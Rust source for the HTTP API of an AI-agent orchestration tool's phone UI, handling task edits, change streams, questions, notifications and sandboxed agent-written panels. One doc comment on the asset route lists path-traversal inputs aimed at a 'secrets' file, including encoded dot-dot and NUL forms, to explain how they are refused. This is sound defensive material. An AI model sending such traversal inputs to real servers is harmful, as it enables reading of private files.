async fn queue_edit(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    body: std::result::Result<Json<EditBody>, JsonRejection>,
) -> ApiResult<Json<TaskView>> {
    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
    // The judge is an agent call, so it is awaited here, outside the claim
    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
    // remembered, and the save refuses if the task moved underneath it.
    let mut judged: Option<(String, PathBuf)> = None;
    if !body.force {
        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
        let (id, text) = (id.clone(), body.instruction.clone());
        let (seen, hits) = blocking(move || {
            let id = resolve_task(&queue, &id)?;
            let t = queue.get(&id)?;
            if text == t.instruction {
                return Ok((None, Vec::new()));
            }
            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
            Ok((Some((t.instruction, t.repo)), hits))
        })
        .await?;
        if let Some((_, repo)) = &seen {
            let cfg = crate::config::Config::discover(repo, None)
                .ok()
                .map(|(c, _)| c);
            let screened =
                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
                    .await
                    .map_err(|dup| {
                        ApiError::conflict(dup.render(
                            "Nothing was saved. If it is not a duplicate, repeat the request \
                             with \"force\": true.",
                        ))
                    })?;
            if let crate::dupes::Screened::Unjudged(why) = screened {
                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
            }
        }
        judged = seen;
    }
    let force = body.force;
    mutate(ui, id, move |t| {
        if !force && body.instruction != t.instruction {
            match &judged {
                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
                _ => {
                    anyhow::bail!("the task changed while it was being checked; repeat the request")
                }
            }
        }
        t.edit(body.title.clone(), body.instruction.clone())
    })
    .await
}

/// `POST /api/queue/{id}/done` - close a task as finished without deleting
/// it, so the phone's other way to clear a task from the backlog does not
/// have to cost the run history, the attribution, and `created_at` the way
/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
/// can be marked done by hand, because this is for the run the loop never
/// saw land - a merge done by hand, or a gate that misreported - and that can
/// happen from any status the task was left in.
async fn queue_done(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
) -> ApiResult<Json<TaskView>> {
    let home = ui.home.clone();
    mutate(ui, id, move |t| {
        t.succeed();
        // Same as the loop's own settle path: closing a task by hand is just
        // as much "this task's story is over" as a daemon-driven `Merged`/
        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
        // behind must stop looking like it still needs a human. `ui.home`,
        // not the process-global `run::home()`: they agree in a real
        // process, but only `ui.home` also agrees with a test fixture's own
        // directory.
        crate::daemon::supersede_prior_runs(t, &home);
        Ok(())
    })
    .await
}

/// `DELETE /api/queue/{id}`.
///
/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
/// names this task: a `running` status or an orphaned `.lock` left behind by a
/// killed daemon is a leftover, and treating either as authority made the
/// task undeletable from the phone for good. The associated runs, if any, are
/// kept: a run is self-contained history and not an appendage of the task.
async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
    blocking(move || {
        let id = resolve_task(&ui.queue, &id)?;
        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
        ui.queue
            .remove(&id, in_flight, &ui.questions)
            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
        Ok(StatusCode::NO_CONTENT)
    })
    .await
}

/// Read a task, change it, write it back, under the queue's own lock.
///
/// Taking the same claim a daemon takes is what makes hold, release,
/// priority, edit, and done safe to press while magi is running: without it
/// the daemon's next save would land on top of the operator's change and
/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
/// both do, for a running task - and that refusal becomes the 4xx the card
/// shows, same as any other domain rule.
async fn mutate(
    ui: Arc<Ui>,
    id: String,
    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
) -> ApiResult<Json<TaskView>> {
    blocking(move || {
        let id = resolve_task(&ui.queue, &id)?;
        // `claim` fails when the lock file already exists, which is the
        // conflict the UI must report: the daemon owns that task's file for
        // as long as it is running it, and our write would be lost under its
        // next save. The message names the lock either way.
        let _claim = ui.queue.claim(&id).map_err(|e| {
            ApiError::conflict(format!(
                "{e:#} - a daemon is running this task, so it cannot be \
                 changed from here yet; wait until it is released, then retry"
            ))
        })?;
        let mut task = ui.queue.get(&id)?;
        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
            Ok(dup) => ApiError::conflict(dup.render(
                "Nothing was saved. If it is not a duplicate, repeat the request with \
                 \"force\": true.",
            )),
            Err(e) => ApiError::bad_request_from(e),
        })?;
        ui.queue.put(&mut task)?;
        Ok(Json(TaskView::from(task)))
    })
    .await
}

/// The change stream: one revision number per store, on connect and whenever
/// any of them moves.
///
/// The poll runs in one spawned task per client, which is affordable because
/// the work is a directory scan and a `stat` per file. It stops as soon as the
/// receiver is gone, so a phone that walks out of range costs nothing after
/// its next tick - there is no session and no cleanup to forget.
async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
    tokio::spawn(async move {
        let mut ticker = tokio::time::interval(POLL);
        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
        let mut stamps: Option<[Stamps; 3]> = None;
        loop {
            // The first tick completes immediately, which is what makes the
            // stream announce the current revisions on connect.
            ticker.tick().await;
            let state = Arc::clone(&ui);
            let revisions = tokio::task::spawn_blocking(move || {
                let stamps = [
                    store_stamps(state.queue.root(), false),
                    store_stamps(&state.runs, true),
                    store_stamps(state.talks.root(), false),
                ];
                let revisions = (
                    stamps_revision(&stamps[0]),
                    stamps_revision(&stamps[1]),
                    state.questions.revision(),
                    stamps_revision(&stamps[2]),
                    state.notices.revision(),
                    // The loop's counter is in-process state rather than a
                    // file, so nothing the three stats above look at would
                    // tell this phone that another one started the loop.
                    state.lock_loop().rev,
                );
                (revisions, stamps)
            })
            .await;
            let Ok((revisions, next_stamps)) = revisions else {
                break;
            };
            if last == Some(revisions) {
                continue;
            }
            let mut payload = serde_json::json!({
                "queue_rev": revisions.0,
                "runs_rev": revisions.1,
                "questions_rev": revisions.2,
                "talks_rev": revisions.3,
                "notifications_rev": revisions.4,
                "loop_rev": revisions.5,
            });
            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
                for (index, (key, rev)) in [
                    ("queue_delta", base.0),
                    ("runs_delta", base.1),
                    ("talks_delta", base.3),
                ]
                .into_iter()
                .enumerate()
                {
                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
                    // Empty diffs may mean a non-file dependency moved. Read whole.
                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
                    }
                }
            }
            last = Some(revisions);
            stamps = Some(next_stamps);
            // Giving up beats looping if the receiver is gone.
            let Ok(event) = Event::default().event("change").json_data(payload) else {
                break;
            };
            if tx.send(event).await.is_err() {
                break;
            }
        }
    });
    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
}

type Stamps = HashMap<String, (u128, u64)>;

/// Metadata only: no task instructions or conversation bodies are read here.
fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
    std::fs::read_dir(root)
        .into_iter()
        .flatten()
        .flatten()
        .filter_map(|entry| {
            let path = if runs {
                entry.path().join("run.json")
            } else {
                entry.path()
            };
            if !runs && path.extension().is_none_or(|ext| ext != "json") {
                return None;
            }
            let metadata = path.metadata().ok()?;
            let modified = metadata
                .modified()
                .ok()?
                .duration_since(std::time::UNIX_EPOCH)
                .ok()?;
            let id = if runs {
                entry.file_name().to_string_lossy().into_owned()
            } else {
                path.file_stem()?.to_string_lossy().into_owned()
            };
            Some((id, (modified.as_nanos(), metadata.len())))
        })
        .collect()
}

#[derive(Debug, Serialize)]
struct Delta {
    base: u64,
    changed: Vec<String>,
    removed: Vec<String>,
}

fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
    let mut changed: Vec<_> = next
        .iter()
        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
        .map(|(id, _)| id.clone())
        .collect();
    let mut removed: Vec<_> = previous
        .keys()
        .filter(|id| !next.contains_key(*id))
        .cloned()
        .collect();
    changed.sort_unstable();
    removed.sort_unstable();
    Delta {
        base,
        changed,
        removed,
    }
}

/// Change detection token for recorded runs under `runs`.
///
/// Combines the id and `run.json` modification time of each run, so adding,
/// updating, or deleting any run — even an older one — moves the revision and
/// notifies connected clients via the change stream. Returns 0 when no runs
/// exist.
fn runs_revision(runs: &FsPath) -> u64 {
    stamps_revision(&store_stamps(runs, true))
}

/// Opaque tokens use the exact metadata snapshot behind the delta, in both
/// health and SSE. Nanoseconds and length also detect same-millisecond writes
/// and deleting an older conversation (a newest-mtime token cannot do that).
fn stamps_revision(stamps: &Stamps) -> u64 {
    use std::hash::{Hash as _, Hasher as _};
    if stamps.is_empty() {
        return 0;
    }
    let mut entries: Vec<_> = stamps.iter().collect();
    entries.sort_unstable();
    let mut hasher = std::hash::DefaultHasher::new();
    entries.hash(&mut hasher);
    hasher.finish().max(1)
}

/// Run ids under `runs`, newest first.
///
/// Rooted at an explicit directory rather than calling [`run::list_ids`],
/// which reads the process-global home: the server has to be drivable against
/// a temp directory for any of this to be testable.
fn run_ids(runs: &FsPath) -> Vec<String> {
    let mut ids: Vec<String> = std::fs::read_dir(runs)
        .into_iter()
        .flatten()
        .flatten()
        .filter(|e| e.path().join("run.json").is_file())
        .map(|e| e.file_name().to_string_lossy().into_owned())
        .collect();
    // Ids start with a sortable timestamp.
    ids.sort_unstable_by(|a, b| b.cmp(a));
    ids
}

/// Read one run's state from an explicit runs root.
fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
    let path = runs.join(id).join("run.json");
    let body =
        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
    let state: RunState =
        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
    // The same migration `RunState::load` applies, so a record from the
    // previous schema reads here as it does everywhere else (an origin-less
    // run shows as "origin unknown") instead of vanishing from the phone the
    // moment the schema is bumped.
    run::migrate_schema(state)
}

/// Runs on disk under `runs` whose state this build cannot parse - almost
/// always a schema bump, occasionally a run killed mid-write.
///
/// Exposed so every surface that reports on runs shares one count instead of
/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
/// `magi doctor` calls this directly rather than guessing at the same number
/// a second way.
#[must_use]
pub fn runs_unreadable(runs: &FsPath) -> usize {
    run_ids(runs)
        .into_iter()
        .filter(|id| read_run(runs, id).is_err())
        .count()
}

/// Expand an id or short id to exactly one run id.
fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
    if runs.join(id).join("run.json").is_file() {
        return Ok(id.to_owned());
    }
    pick(run_ids(runs), id, "run")
}

/// Expand an id or short id to exactly one task id.
fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
    if queue.path_of(id).is_file() {
        return Ok(id.to_owned());
    }
    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
}

/// A question as the phone reads it.
///
/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
/// text already parsed into a node tree so the client never runs its own
/// markdown reader over agent-authored prose. A relative image path in it
/// resolves against this question's own panel asset route, which is the one
/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
/// separate, sandboxed document, but `detail` is rendered inline in the
/// operator's own page, so an image reference in it may only ever point at
/// files magi itself already serves for this question.
#[derive(Debug, Serialize)]
struct QuestionView {
    #[serde(flatten)]
    question: Question,
    detail_md: Vec<md::Node>,
    posting_view: Option<PostingView>,
    /// Each thread turn's body, parsed; same order as `question.thread`.
    thread_bodies_md: Vec<Vec<md::Node>>,
    /// Each thread turn's deputy note, parsed (`None` for a turn without
    /// one); same order as `question.thread`.
    thread_notes_md: Vec<Option<Vec<md::Node>>>,
    /// Is the ball in the agent's court right now?
    ///
    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
    /// [`Question::say`] - so this is the one field that tells the phone to
    /// disable the answer controls and show "waiting for the agent" instead of
    /// a card the owner can act on. Computed rather than stored on
    /// [`Question`] itself, on the same reasoning as `waiting` on
    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
    /// it here means the client never has to re-derive that rule.
    waiting_on_agent: bool,
    /// Who is waiting on this open question - see [`holder_of`]. Separate
    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
    /// anyone is there to take it.
    holder: Option<&'static str>,
    /// Whether `magi serve` can start a follow-up agent for a conductor
    /// question at all: false when `daemon.max_deputies = 0` or the config is
    /// unreadable. Separate from `holder`, which says who is listening now.
    deputies_enabled: bool,
    /// All starts were spent and no live holder remains. Display-only: the
    /// final attempt increments `starts` before running under its lease.
    deputy_exhausted: bool,
    /// `question.run` is a task id (conductor / triage questions), not a run
    /// id, so the UI links it to the task page.
    run_is_task: bool,
    /// The chat conversation this question's task came from, when the owner
    /// may hand the question to it - see [`crate::consult::origin_talk`]. The
    /// UI offers "Ask the chat agent" only when this is set; it is never one
    /// of `question.choices`.
    origin_chat: Option<String>,
    /// `origin_chat` is closed; consulting reopens it first.
    origin_chat_closed: bool,
}

#[derive(Debug, Serialize)]
struct PostingView {
    before_md: Vec<md::Node>,
    after_md: Vec<md::Node>,
    fields: Vec<crate::github_text::ComparisonView>,
}

fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
    let comparison = question.posting_comparison.as_ref()?;
    if !comparison.matches_detail(&question.detail) {
        return None;
    }
    let mut ids = std::collections::BTreeSet::new();
    if comparison.fields.is_empty()
        || comparison
            .fields
            .iter()
            .flat_map(|f| &f.pairs)
            .any(|p| !ids.insert(p.id))
        || comparison
            .fields
            .iter()
            .flat_map(|f| &f.original_triggers)
            .any(|t| !ids.insert(t.id))
    {
        return None;
    }
    let fields = comparison
        .fields
        .iter()
        .map(|f| f.view(comparison.excerpt))
        .collect::<Option<Vec<_>>>()?;
    Some(PostingView {
        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
        fields,
    })
}

impl QuestionView {
    /// The view of `question`, reading who is waiting on it from `store`.
    ///
    /// `holder` needs the lease sidecar, which is why this is not a `From`.
    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
        let base = md::ImageBase::QuestionPanel {
            id: question.id.clone(),
        };
        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
        Self {
            detail_md: md::to_nodes(&question.detail, &base),
            posting_view: posting_view(&question, &base),
            thread_bodies_md: question
                .thread
                .iter()
                .map(|t| md::to_nodes(&t.body, &base))
                .collect(),
            thread_notes_md: question
                .thread
                .iter()
                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
                .collect(),
            deputy_exhausted: store.deputy_exhausted(&question),
            waiting_on_agent: question.waiting_on_agent(),
            holder,
            deputies_enabled,
            run_is_task: question.run_names_task(),
            origin_chat: None,
            origin_chat_closed: false,
            question,
        }
    }

    /// Fill `origin_chat` from the queue and the talks.
    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
        let talk = crate::consult::origin_talk(tasks, talks, &self.question);
        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
        self.origin_chat = talk.map(|t| t.id);
        self
    }
}

/// The config this repository resolves, or `None` when it cannot be read.
/// Discovering is git processes plus a config render, so a request that needs
/// it for many items takes it once and passes it down.
fn deputy_config(repo: &std::path::Path) -> Option<Config> {
    Config::discover(repo, None).ok().map(|(c, _)| c)
}

/// Can `magi serve` start a deputy for this question under `cfg`?
fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
}

/// The views `GET /api/questions` answers. `load` runs at most once, however
/// many questions there are, and not at all when there are none.
fn question_views(
    qs: Vec<Question>,
    store: &ask::Questions,
    load: impl FnOnce() -> Option<Config>,
) -> Vec<QuestionView> {
    if qs.is_empty() {
        return Vec::new();
    }
    let cfg = load();
    qs.into_iter()
        .map(|q| {
            let on = deputies_enabled(cfg.as_ref(), &q);
            QuestionView::of(q, store, on)
        })
        .collect()
}

/// Who is honestly waiting on an open question right now: `"asker"` (the
/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
/// up, or the question never had anyone listening (a conductor question or a
/// merge approval from before deputies, or not yet given one).
///
/// `None` for a question that is settled, and for one that is not an agent's
/// to wait on at all (a release notice).
fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
    if !q.status.open() {
        return None;
    }
    if q.cwd.is_none() && q.deputy.is_none() {
        return crate::deputy::kind_of(q).map(|_| "nobody");
    }
    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
        Some(_) if q.deputy.is_some() => "deputy",
        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
        Some(_) => "asker",
        None => "nobody",
    })
}

/// `GET /api/questions`.
///
/// Everything, not just the open ones: an answered question is the record of a
/// decision, and the phone is where the operator goes back to check what they
/// told an agent at 3am. `ask::Questions::list` already ranks open first.
async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
    blocking(move || {
        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
        Ok(Json(
            question_views(ui.questions.list(), &ui.questions, || {
                deputy_config(&ui.repo)
            })
            .into_iter()
            .map(|v| v.with_origin(&tasks, &talks))
            .collect(),
        ))
    })
    .await
}

/// `GET /api/notifications`: not dismissed, newest first, with the unread
/// count so the badge and the list cannot disagree.
async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
    blocking(move || {
        let items = ui.notices.list();
        let unread = items.iter().filter(|n| n.unread()).count();
        Ok(Json(
            serde_json::json!({ "unread": unread, "items": items }),
        ))
    })
    .await
}

fn notice_error(e: anyhow::Error) -> ApiError {
    // An unknown or malformed id and a vanished file are the same answer to
    // the phone: that notification is gone.
    ApiError::not_found(format!("{e:#}"))
}

/// `POST /api/notifications/{id}/read`.
async fn notification_read(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
) -> ApiResult<Json<Notice>> {
    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
}

/// `POST /api/notifications/{id}/dismiss`.
async fn notification_dismiss(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
) -> ApiResult<Json<Notice>> {
    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
}

/// `POST /api/notifications/read-all`.
async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
    blocking(move || {
        let changed = ui.notices.mark_all_read()?;
        Ok(Json(serde_json::json!({ "marked": changed })))
    })
    .await
}

/// The body of `POST /api/questions/{id}/answer`.
///
/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
/// a bad request rather than a guess: an answer magi invented is worse than a
/// question left open.
#[derive(Debug, Default, Deserialize)]
#[serde(default, deny_unknown_fields)]
struct NewAnswer {
    choice: Option<String>,
    text: Option<String>,
}

async fn question_answer(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
) -> ApiResult<Json<QuestionView>> {
    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
    let answer = match (body.choice, body.text) {
        (Some(c), None) => Answer::Choice(c),
        (None, Some(t)) => Answer::Text(t),
        (Some(_), Some(_)) => {
            return Err(ApiError::bad_request(
                "send either `choice` or `text`, not both",
            ));
        }
        (None, None) => {
            return Err(ApiError::bad_request("send a `choice` or a `text`"));
        }
    };

    blocking(move || {
        let id = resolve_question(&ui.questions, &id)?;
        let q = ui
            .questions
            .get(&id)
            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
        if !q.status.open() {
            // Answered from the terminal, or by another phone, in between the
            // list and the tap. The UI shows the recorded answer rather than an
            // error, so it needs the record, not just the status.
            return Err(ApiError::conflict(format!(
                "question {} is already {}",
                q.short(),
                q.status.as_str()
            )));
        }
        // `Question::answer` owns the rules - an unoffered choice, free text on
        // a multiple-choice question, an empty reply - so the route does not
        // restate them and cannot drift from the CLI's behaviour.
        let (q, ()) = ui
            .questions
            .update(&q.id, |r| r.answer(answer))
            .map_err(ApiError::bad_request_from)?;
        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
        Ok(Json(
            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
        ))
    })
    .await
}

/// The body of `POST /api/questions/{id}/say`.
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct NewSay {
    body: String,
}

/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
///
/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
/// file, so there is no turn to serialize against and no
/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
/// is a *different* process - the run parked behind `magi ask` - and picks
/// the reply up on its own poll of the very same file, same as an answer
/// does.
async fn question_say(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    body: std::result::Result<Json<NewSay>, JsonRejection>,
) -> ApiResult<Json<QuestionView>> {
    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
    blocking(move || {
        let id = resolve_question(&ui.questions, &id)?;
        let q = ui
            .questions
            .get(&id)
            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
        if !q.status.open() {
            // Same granularity as `question_answer`: answered or abandoned in
            // between the list and the tap is not this route's error to
            // explain any differently.
            return Err(ApiError::conflict(format!(
                "question {} is already {}",
                q.short(),
                q.status.as_str()
            )));
        }
        // `Question::say` owns the one rule that matters here - an empty
        // message tells the agent nothing - so the route does not restate it.
        let (q, ()) = ui
            .questions
            .update(&q.id, |r| r.say(body.body))
            .map_err(ApiError::bad_request_from)?;
        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
        Ok(Json(
            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
        ))
    })
    .await
}

/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
/// came from. The question stays open: the chat agent answers it with `magi
/// answer`, or puts the decision to the owner in the conversation.
///
/// Answers 202 and runs the turn in the background, like every route that
/// spends agent calls. The text is queued as a draft of the existing talk, and
/// the turn goes through the talk's own gate and session; no seat or waiter is
/// started here.
async fn question_consult(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
) -> ApiResult<(StatusCode, Json<QuestionView>)> {
    let (view, reclaimed) = blocking({
        let ui = Arc::clone(&ui);
        move || {
            let id = resolve_question(&ui.questions, &id)?;
            let q = ui
                .questions
                .get(&id)
                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
            if !q.status.open() {
                return Err(ApiError::conflict(format!(
                    "question {} is already {}",
                    q.short(),
                    q.status.as_str()
                )));
            }
            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
                return Err(ApiError::conflict(format!(
                    "question {} has no chat to ask",
                    q.short()
                )));
            };
            // Read the config before `begin` saves anything: a failure here
            // must leave no consult record or draft behind, or a retry would
            // see `fresh == false` and never start the turn.
            let cfg = if q.consult.is_none() {
                Some(Config::discover(&talk.repo, None)?.0)
            } else {
                None
            };
            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
            let claim = if fresh {
                match ui.begin_queued_talk_turn(&talk.id)? {
                    Some(turn_guard) => {
                        let talk = ui.talks.get(&talk.id)?;
                        let cfg = match cfg {
                            Some(cfg) => cfg,
                            None => Config::discover(&talk.repo, None)?.0,
                        };
                        Some((talk, cfg, turn_guard))
                    }
                    None => None,
                }
            } else {
                None
            };
            let q = ui.questions.get(&q.id)?;
            let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
            let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
            Ok((view, claim))
        }
    })
    .await?;
    if let Some((talk, cfg, turn_guard)) = reclaimed {
        let talks = ui.talks.clone();
        let id = talk.id.clone();
        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
    }
    Ok((StatusCode::ACCEPTED, Json(view)))
}

/// Expand an id or short id to exactly one question id.
fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
    if store.path_of(id).is_file() {
        return Ok(id.to_owned());
    }
    pick(
        store.list().into_iter().map(|q| q.id).collect(),
        id,
        "question",
    )
}

/// `GET /api/questions/{id}/panel`.
///
/// The panel an agent wrote for this question, as `text/html` under
/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
/// A question without one is a 404 rather than an empty page: the client
/// preflights this route with `HEAD` and must be able to tell "no panel" from
/// "a panel that rendered blank", and a sandboxed frame is opaque to the
/// parent document so it cannot tell the difference by looking.
///
/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
/// sanitises or minifies it - a sanitiser is a list of things someone thought
/// of, and the sandbox plus the CSP is a list of things that are allowed, which
/// is the direction that stays safe when an agent writes markup nobody
/// predicted.
async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
    blocking(move || {
        let id = resolve_question(&ui.questions, &id)?;
        let Some(html) = ui.questions.panel_html(&id) else {
            return Err(ApiError::not_found(format!("question {id} has no panel")));
        };
        Ok(panel_response(
            "text/html; charset=utf-8",
            false,
            html.into_bytes(),
        ))
    })
    .await
}

/// `GET /api/questions/{id}/asset/{name}`.
///
/// One file from the question's own panel directory, so a panel can show a
/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
/// having to allow anything off this machine.
///
/// This is the only route in the server where a client names a file, so it is
/// the only one with a traversal surface, and the name is checked by
/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
/// what is worth being explicit about, because the answer is not "all of it in
/// one place":
///
/// * `asset/../../secrets` never reaches this handler at all. axum matches on
///   the raw request path and `{name}` spans exactly one segment, so a real
///   slash makes the request too long for the route and the router answers 404.
/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
///   percent-decodes path parameters, so `name` arrives as `../secrets` and
///   `..\secrets` respectively, which look like plain filenames to the router.
///   The validator refuses them here - both for the literal `..` and because
///   `/` and `\` are not in the permitted character set - and answers 400.
/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
///   the platform's path API is not, and it is refused here for the same
///   reason: NUL is not a permitted character.
/// * [`Questions::panel_asset`] validates again on read, so the check is not
///   load-bearing in only one place. This route's own check exists so the
///   failure is a 400 that says which name was wrong, rather than a store error
///   the operator has to interpret.
async fn question_asset(
    State(ui): State<Arc<Ui>>,
    Path((id, name)): Path<(String, String)>,
) -> ApiResult<Response> {
    // Before any filesystem work and before any path is built: a name this
    // server will not serve should not become a `PathBuf` at all.
    if !crate::ask::valid_asset_name(&name) {
        return Err(ApiError::bad_request(format!(
            "`{name}` is not a usable asset name"
        )));
    }
    blocking(move || {
        let id = resolve_question(&ui.questions, &id)?;
        let asset = ui
            .questions
            .panel_asset(&id, &name)
            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
        let Some(bytes) = asset else {
            return Err(ApiError::not_found(format!(
                "question {id} has no asset `{name}`"
            )));
        };
        Ok(panel_response(
            asset_content_type(&name),
            is_svg(&name),
            bytes,
        ))
    })
    .await
}

/// Content type for a panel asset, from a closed whitelist.
///
/// A whitelist with an `application/octet-stream` fallback rather than a
/// guess, because the one answer that must never come out of here is
/// `text/html`. An agent that writes `notes.html` into its panel directory and
/// links it would otherwise get its own markup rendered at the top level of the
/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
/// magi's origin - which is precisely the thing the panel design exists to
/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
///
/// `nosniff` accompanies this on every response, so a browser cannot decide it
/// knows better than the type we sent.
fn asset_content_type(name: &str) -> &'static str {
    match extension(name).as_deref() {
        Some("png") => "image/png",
        Some("jpg" | "jpeg") => "image/jpeg",
        Some("gif") => "image/gif",
        Some("webp") => "image/webp",
        Some("svg") => "image/svg+xml",
        Some("css") => "text/css; charset=utf-8",
        Some("txt") => "text/plain; charset=utf-8",
        _ => "application/octet-stream",
    }
}

/// Is this an SVG, and therefore a file that must never be opened at the top
/// level?
fn is_svg(name: &str) -> bool {
    extension(name).as_deref() == Some("svg")
}

/// Lowercased extension, or `None` for a name without one.
fn extension(name: &str) -> Option<String> {
    name.rsplit_once('.')
        .map(|(_, ext)| ext.to_ascii_lowercase())
}

/// Every panel response, with the four headers that make it safe and, for an
/// SVG, a fifth.
///
/// One function rather than a header list per handler, because a panel route
/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
/// model gone, silently, on one of two routes. Adding a third panel route later
/// means calling this, and there is nowhere else to build a panel response.
///
/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
/// as an `<img src>` inside the panel that script cannot run - but the asset
/// URL is also a plain URL an operator can be talked into opening in a tab,
/// where it is a document on magi's own origin. `Content-Disposition:
/// attachment` makes the browser download it instead of rendering it, which
/// closes that door without taking away the ability to draw a diff. Raster
/// images have no such execution surface and are left inline, so tapping a
/// screenshot still shows it.
